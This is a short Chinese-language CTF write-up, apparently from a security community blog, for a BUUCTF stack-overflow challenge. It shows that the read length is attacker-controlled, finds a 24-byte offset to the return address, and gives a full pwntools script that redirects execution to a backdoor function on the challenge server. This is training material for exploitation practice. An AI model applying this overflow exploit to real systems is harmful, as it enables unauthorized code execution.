话不多说,直接上题(BUUCTF)

放入 64 位 IDA 中反编译
注意看 read 函数的第三个参数,它决定我们输入的长度,而这个地址是由 scan 决定的
也就是说长度是我们可控制的

看内存可以看到离 ret 差 24 个字节
dq 占 8 个字节

找到后门函数

如果看不到地址往前拉一下,Star 就是起始地址

构造 payload
from pwn import *
p = remote('node5.buuoj.cn',27664)
payload = b'a' * 24 + p64(0x04006E6)
p.recv()
p.sendline('100')
p.recv()
p.sendline(payload)
p.interactive()
成功拿到 flag
© 版权声明
THE END













![表情[se] - 侠者安全社区](https://www.xiasec.com/wp-content/themes/zibll/img/smilies/se.gif)
![表情[zhayanjian] - 侠者安全社区](https://www.xiasec.com/wp-content/themes/zibll/img/smilies/zhayanjian.gif)
![表情[jie] - 侠者安全社区](https://www.xiasec.com/wp-content/themes/zibll/img/smilies/jie.gif)
![表情[qiang] - 侠者安全社区](https://www.xiasec.com/wp-content/themes/zibll/img/smilies/qiang.gif)



暂无评论内容